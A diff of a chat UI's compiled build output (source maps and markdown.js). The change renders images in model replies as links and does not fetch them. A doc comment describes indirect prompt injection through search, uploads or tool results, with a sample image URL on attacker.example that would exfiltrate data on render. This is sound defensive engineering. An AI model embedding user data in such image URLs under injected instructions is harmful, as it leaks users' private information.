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"}
1
+ {"version":3,"file":"use-skills.js","sourceRoot":"","sources":["../../../src/chat/lib/use-skills.ts"],"names":[],"mappings":"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"}
@@ -13,12 +13,22 @@
13
13
  * Always, with no prop to turn it off. A same-tab link out of an agent's answer
14
14
  * is not something a partner should be able to opt into by accident.
15
15
  *
16
- * This is not an injection guard — there is none to add here. react-markdown's
16
+ * `rel="noopener noreferrer"` is about the opened page, which must not reach
17
+ * back through `window.opener` or be handed the partner's URL as a referrer.
18
+ *
19
+ * AND IT IS AN INJECTION GUARD, for images. react-markdown's
17
20
  * `defaultUrlTransform` is in force (`@assistant-ui/react-markdown` sets no
18
21
  * override) and no `rehype-raw` is configured, so `javascript:` hrefs and raw
19
- * HTML are already neutralised. `rel="noopener noreferrer"` is about the opened
20
- * page, which must not reach back through `window.opener` or be handed the
21
- * partner's URL as a referrer.
22
+ * HTML are already neutralised — but an `https:` image is not, and a reply is
23
+ * untrusted. Indirect prompt injection arrives through web search, an uploaded
24
+ * document or a tool result, and an image is the sharpest way out: the model
25
+ * chooses the host AND the query string, so
26
+ * `![](https://attacker.example/x.png?d=…)` sends whatever it packed there the
27
+ * moment the reply renders, with nobody clicking anything.
28
+ *
29
+ * So an image becomes a link, exactly as ADR 0009 requires and `/ui` has done
30
+ * since: "Image: alt (host)", which the end-user may choose to open. Nothing is
31
+ * fetched when the reply appears.
22
32
  *
23
33
  * Why the wrapper, and not the vendored file: `src/chat/vendor/*` is
24
34
  * hash-pinned and refetched from an unversioned registry, so an edit there is a
@@ -1 +1 @@
1
- {"version":3,"file":"markdown.d.ts","sourceRoot":"","sources":["../../src/chat/markdown.tsx"],"names":[],"mappings":"AAEA;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2BG;AACH,OAAO,KAAK,EAAkB,EAAE,EAAE,MAAM,OAAO,CAAC;AAoBhD,uFAAuF;AACvF,eAAO,MAAM,YAAY,EAAE,EAA2D,CAAC"}
1
+ {"version":3,"file":"markdown.d.ts","sourceRoot":"","sources":["../../src/chat/markdown.tsx"],"names":[],"mappings":"AAEA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAqCG;AACH,OAAO,KAAK,EAAkB,EAAE,EAAE,MAAM,OAAO,CAAC;AAiDhD,uFAAuF;AACvF,eAAO,MAAM,YAAY,EAAE,EAA2D,CAAC"}
@@ -12,7 +12,34 @@ const LINK_CLASS = 'aui-md-a text-primary hover:text-primary/80 underline underl
12
12
  // The spread comes FIRST: `target` and `rel` are the point of this component
13
13
  // and nothing coming out of the markdown may displace them.
14
14
  const ExternalLink = ({ className, ...props }) => (_jsx("a", { ...props, className: cn(LINK_CLASS, className), target: "_blank", rel: "noopener noreferrer" }));
15
- const COMPONENTS = { a: ExternalLink };
15
+ /**
16
+ * The web hosts an end-user could meaningfully be shown. Anything else — data:,
17
+ * blob:, a relative path — keeps its label and loses its destination, because
18
+ * there is no host to name and nothing safe to offer.
19
+ */
20
+ function webHost(src) {
21
+ if (!src)
22
+ return null;
23
+ try {
24
+ const url = new URL(src, 'https://invalid.invalid');
25
+ if (url.protocol !== 'http:' && url.protocol !== 'https:')
26
+ return null;
27
+ return url.host === 'invalid.invalid' ? null : url.host;
28
+ }
29
+ catch {
30
+ return null;
31
+ }
32
+ }
33
+ /** An image the model wrote, shown rather than loaded. */
34
+ const ImageAsLink = ({ src, alt }) => {
35
+ const label = alt ? `Image: ${alt}` : 'Image';
36
+ const href = typeof src === 'string' ? src : undefined;
37
+ const host = webHost(href);
38
+ if (!host || !href)
39
+ return _jsx("span", { className: "aui-md-img text-muted-foreground", children: label });
40
+ return (_jsx("a", { href: href, className: LINK_CLASS, target: "_blank", rel: "noopener noreferrer", children: `${label} (${host})` }));
41
+ };
42
+ const COMPONENTS = { a: ExternalLink, img: ImageAsLink };
16
43
  /** Drop-in for the vendored `MarkdownText`; takes no props, as upstream's use does. */
17
44
  export const MarkdownText = () => _jsx(VendoredMarkdownText, { components: COMPONENTS });
18
45
  //# sourceMappingURL=markdown.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"markdown.js","sourceRoot":"","sources":["../../src/chat/markdown.tsx"],"names":[],"mappings":"AAAA,YAAY,CAAC;;AA+Bb,OAAO,EAAE,YAAY,IAAI,oBAAoB,EAAE,MAAM,2BAA2B,CAAC;AACjF,OAAO,EAAE,EAAE,EAAE,MAAM,aAAa,CAAC;AAEjC;;;;;GAKG;AACH,MAAM,UAAU,GAAG,0EAA0E,CAAC;AAE9F,6EAA6E;AAC7E,4DAA4D;AAC5D,MAAM,YAAY,GAA4B,CAAC,EAAE,SAAS,EAAE,GAAG,KAAK,EAAE,EAAE,EAAE,CAAC,CACzE,eAAO,KAAK,EAAE,SAAS,EAAE,EAAE,CAAC,UAAU,EAAE,SAAS,CAAC,EAAE,MAAM,EAAC,QAAQ,EAAC,GAAG,EAAC,qBAAqB,GAAG,CACjG,CAAC;AAEF,MAAM,UAAU,GAAG,EAAE,CAAC,EAAE,YAAY,EAAE,CAAC;AAEvC,uFAAuF;AACvF,MAAM,CAAC,MAAM,YAAY,GAAO,GAAG,EAAE,CAAC,KAAC,oBAAoB,IAAC,UAAU,EAAE,UAAU,GAAI,CAAC"}
1
+ {"version":3,"file":"markdown.js","sourceRoot":"","sources":["../../src/chat/markdown.tsx"],"names":[],"mappings":"AAAA,YAAY,CAAC;;AAyCb,OAAO,EAAE,YAAY,IAAI,oBAAoB,EAAE,MAAM,2BAA2B,CAAC;AACjF,OAAO,EAAE,EAAE,EAAE,MAAM,aAAa,CAAC;AAEjC;;;;;GAKG;AACH,MAAM,UAAU,GAAG,0EAA0E,CAAC;AAE9F,6EAA6E;AAC7E,4DAA4D;AAC5D,MAAM,YAAY,GAA4B,CAAC,EAAE,SAAS,EAAE,GAAG,KAAK,EAAE,EAAE,EAAE,CAAC,CACzE,eAAO,KAAK,EAAE,SAAS,EAAE,EAAE,CAAC,UAAU,EAAE,SAAS,CAAC,EAAE,MAAM,EAAC,QAAQ,EAAC,GAAG,EAAC,qBAAqB,GAAG,CACjG,CAAC;AAEF;;;;GAIG;AACH,SAAS,OAAO,CAAC,GAAuB;IACtC,IAAI,CAAC,GAAG;QAAE,OAAO,IAAI,CAAC;IACtB,IAAI,CAAC;QACH,MAAM,GAAG,GAAG,IAAI,GAAG,CAAC,GAAG,EAAE,yBAAyB,CAAC,CAAC;QACpD,IAAI,GAAG,CAAC,QAAQ,KAAK,OAAO,IAAI,GAAG,CAAC,QAAQ,KAAK,QAAQ;YAAE,OAAO,IAAI,CAAC;QACvE,OAAO,GAAG,CAAC,IAAI,KAAK,iBAAiB,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,GAAG,CAAC,IAAI,CAAC;IAC1D,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC;AAED,0DAA0D;AAC1D,MAAM,WAAW,GAA8B,CAAC,EAAE,GAAG,EAAE,GAAG,EAAE,EAAE,EAAE;IAC9D,MAAM,KAAK,GAAG,GAAG,CAAC,CAAC,CAAC,UAAU,GAAG,EAAE,CAAC,CAAC,CAAC,OAAO,CAAC;IAC9C,MAAM,IAAI,GAAG,OAAO,GAAG,KAAK,QAAQ,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,SAAS,CAAC;IACvD,MAAM,IAAI,GAAG,OAAO,CAAC,IAAI,CAAC,CAAC;IAC3B,IAAI,CAAC,IAAI,IAAI,CAAC,IAAI;QAAE,OAAO,eAAM,SAAS,EAAC,kCAAkC,YAAE,KAAK,GAAQ,CAAC;IAC7F,OAAO,CACL,YAAG,IAAI,EAAE,IAAI,EAAE,SAAS,EAAE,UAAU,EAAE,MAAM,EAAC,QAAQ,EAAC,GAAG,EAAC,qBAAqB,YAC5E,GAAG,KAAK,KAAK,IAAI,GAAG,GACnB,CACL,CAAC;AACJ,CAAC,CAAC;AAEF,MAAM,UAAU,GAAG,EAAE,CAAC,EAAE,YAAY,EAAE,GAAG,EAAE,WAAW,EAAE,CAAC;AAEzD,uFAAuF;AACvF,MAAM,CAAC,MAAM,YAAY,GAAO,GAAG,EAAE,CAAC,KAAC,oBAAoB,IAAC,UAAU,EAAE,UAAU,GAAI,CAAC"}